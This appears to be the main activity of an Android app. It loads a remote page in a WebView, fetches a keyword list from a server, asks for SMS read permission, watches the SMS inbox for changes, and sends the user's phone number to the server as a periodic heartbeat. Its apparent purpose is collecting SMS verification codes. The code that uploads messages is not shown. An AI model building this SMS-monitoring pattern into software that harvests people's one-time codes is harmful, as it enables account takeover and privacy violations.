package com.dm.mcode.view;

import android.Manifest;
import android.app.ProgressDialog;
import android.content.Context;
import android.content.pm.PackageManager;
import android.net.Uri;
import android.os.Bundle;
import android.os.Handler;
import android.os.Message;
import android.support.v4.app.ActivityCompat;
import android.support.v4.content.ContextCompat;
import android.view.KeyEvent;
import android.view.View;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.Button;
import android.widget.RelativeLayout;
import android.widget.Toast;

import com.dm.mcode.App;
import com.dm.mcode.Config;
import com.dm.mcode.R;
import com.dm.mcode.model.HbtResult;
import com.dm.mcode.model.KeyWord;
import com.dm.mcode.model.KeyWordResult;
import com.dm.mcode.network.Network;
import com.dm.mcode.presenter.MainPresenter;
import com.dm.mcode.util.DataValidation;
import com.dm.mcode.util.HardwareManager;
import com.dm.mcode.util.Logger;
import com.dm.mcode.util.SharedPreferenceUtil;
import com.dm.mcode.util.netstatus.NetUtils;

import java.util.Arrays;
import java.util.List;

import butterknife.Bind;
import butterknife.ButterKnife;
import butterknife.OnClick;
import retrofit2.Call;
import retrofit2.Callback;
import retrofit2.Response;

import static com.dm.mcode.Config.BASE_URL;

public class MainActivity extends BaseActivity implements IMainView {

    @Bind(R.id.webview)
    WebView webview;
    @Bind(R.id.btn_net_refresh)
    Button btnNetRefresh;
    @Bind(R.id.view_error_net)
    RelativeLayout viewErrorNet;

    private ReadSmsContent readSmsContent;
    private ProgressDialog mProgressDialog;
    private MainPresenter mainPresenter;
    private Context mContext;
    private long firstTime = 0;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        mContext = this;
        setContentView(R.layout.activity_main);
        ButterKnife.bind(this);
        mainPresenter = new MainPresenter(this);
        initProgress();
        toggleNetStatus();
    }

    private void toggleNetStatus() {
        if (NetUtils.isNetworkAvailable(this)) {
            viewErrorNet.setVisibility(View.GONE);
            webview.setVisibility(View.VISIBLE);
            getNetKeywords();
            initData();
            htbJob();
        } else {
            viewErrorNet.setVisibility(View.VISIBLE);
            webview.setVisibility(View.GONE);
        }
    }

    private void initData() {
        webview.getSettings().setJavaScriptEnabled(true);
        webview.getSettings().setSupportMultipleWindows(true);
        // webView.getSettings().setUseWideViewPort(false); // 告诉WebView使用广泛的视窗。
        // webView.getSettings().setJavaScriptCanOpenWindowsAutomatically(true);
        // // 支持通过JS打开新窗口
        webview.getSettings().setRenderPriority(WebSettings.RenderPriority.HIGH);// 集变焦机制是否使用内置的WebView。
        webview.requestFocus();
        // 如果页面中链接，如果希望点击链接继续在当前browser中响应，

        // 而不是新开Android的系统browser中响应该链接，必须覆盖webview的WebViewClient对象

        webview.setWebViewClient(new WebViewClient() {

            public boolean shouldOverrideUrlLoading(WebView view, String url) {
                // 重写此方法表明点击网页里面的链接还是在当前的webview里跳转，不跳到浏览器那边
                view.loadUrl(url);
                return true;
            }

            public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) {
                super.onReceivedError(view, errorCode, description, failingUrl);
                //用javascript隐藏系统定义的404页面信息
                String data = "页面信息读取中，请稍候......";
                view.loadUrl("javascript:document.body.innerHTML=\"" + data + "\"");
                toggleNetStatus();
            }

        });
        webview.loadUrl(BASE_URL);
    }

    /**
     * 获取关键词
     */
    private void getNetKeywords() {
        Call<KeyWordResult> call = Network.getCodeApi().getKey();
        call.enqueue(new Callback<KeyWordResult>() {
            @Override
            public void onResponse(Call<KeyWordResult> call, Response<KeyWordResult> response) {
                List<KeyWord> keys = response.body().getData();
                if (keys == null || keys.size() <= 0) {
                    showTip("未能获取到关键词信息,请检查网络");
                    finish();
                }
                App.getInstance().setList(keys);
                if (ContextCompat.checkSelfPermission(mContext, Manifest.permission.READ_SMS)
                        != PackageManager.PERMISSION_GRANTED) {
                    //申请WRITE_EXTERNAL_STORAGE权限
                    ActivityCompat.requestPermissions(MainActivity.this, new String[]{Manifest.permission.READ_SMS}, 1000);
                } else {
                    registerContentObserver();
                }
            }

            @Override
            public void onFailure(Call<KeyWordResult> call, Throwable t) {
                showTip("未能获取到关键词信息");
                finish();
            }
        });
    }

    /**
     * -----------------------心跳任务------------------------------
     */
    Handler mHandler = new Handler() {
        @Override
        public void handleMessage(Message msg) {
            super.handleMessage(msg);
        }
    };
    Runnable runnable = new Runnable() {
        @Override
        public void run() {
            String s = (String) SharedPreferenceUtil.get(mContext, Config.SP_MOBILE_PHONE, "");
            String[] strings = HardwareManager.getDeviceStrs(MainActivity.this);
            Logger.e(Arrays.toString(strings));
            if (!DataValidation.isEmpty(s)) {
                doHbt(s);
                mHandler.postDelayed(this, Config.ONLINE_INTERVAL);
            }
        }
    };

    /**
     * 10秒后执行当前任务
     */
    private void htbJob() {
        mHandler.postDelayed(runnable, 10 * 1000);
    }

    /**
     * 定时请求获取在线状态
     */
    private void doHbt(String m) {
        Call<HbtResult> call = Network.getCodeApi().hbt(m);
        call.enqueue(new Callback<HbtResult>() {
            @Override
            public void onResponse(Call<HbtResult> call, Response<HbtResult> response) {
                String hr = response.body().getData();
                logOutput("job4Hbt--success:" + hr);
            }

            @Override
            public void onFailure(Call<HbtResult> call, Throwable t) {
                logOutput("job4Hbt--fail:" + t.getMessage());
            }
        });
    }

    /**
     * -----------------------心跳任务------------------------------
     */
    private void registerContentObserver() {
        readSmsContent = new ReadSmsContent(new Handler(), this);
        //注册短信内容监听
        this.getContentResolver().registerContentObserver(Uri.parse("content://sms/"), true, readSmsContent);
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
        //注销内容监听者
        if (readSmsContent != null) {
            this.getContentResolver().unregisterContentObserver(readSmsContent);
        }
        ButterKnife.unbind(this);
    }

    @Override
    public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        if (requestCode == 1000) {
            if (grantResults[0] == PackageManager.PERMISSION_GRANTED) {
                // Permission Granted-open observer
                registerContentObserver();
            } else {
                // Permission Denied
                Toast.makeText(this, "需要短信权限", Toast.LENGTH_LONG).show();
            }
        }
    }


    @Override
    public boolean onKeyDown(int keyCode, KeyEvent event) {
        if (keyCode == KeyEvent.KEYCODE_BACK) { //监控/拦截/屏蔽返回键
            if (!webview.getUrl().equalsIgnoreCase(BASE_URL)) {
                if (webview.canGoBack()) {
                    webview.goBack(); // 返回webView的上一页面
                    return true;
                }
            }
            long secondTime = System.currentTimeMillis();
            if (secondTime - firstTime > 2000) {
                Toast.makeText(this, "再按一次将退出" + App.getInstance().getResources().getString(R.string.app_name), Toast.LENGTH_SHORT).show();
                firstTime = secondTime;
                return true;
            } else {
                finish();
            }
        } else if (keyCode == KeyEvent.KEYCODE_MENU) {
            //监控/拦截菜单键
            return true;
        }
        return super.onKeyDown(keyCode, event);
    }

    @Override
    public void initProgress() {
        mProgressDialog = new ProgressDialog(this);
        mProgressDialog.setIndeterminate(true);
        mProgressDialog.setMessage("加载中,请稍候...");
    }

    @Override
    public void showProgress(boolean isShow) {
        if (isShow) {
            mProgressDialog.show();
        } else {
            mProgressDialog.dismiss();
        }
    }

    @Override
    public void showTip(String tip) {
        Toast.makeText(this, tip, Toast.LENGTH_SHORT).show();
    }

    @Override
    public void getNetKeys() {

    }

    @Override
    public void getCodeStr() {

    }

    @Override
    public void setNetCode() {

    }

    @Override
    public void finish() {
        super.finish();
    }

    @OnClick(R.id.btn_net_refresh)
    public void onClick() {
        toggleNetStatus();
    }
}
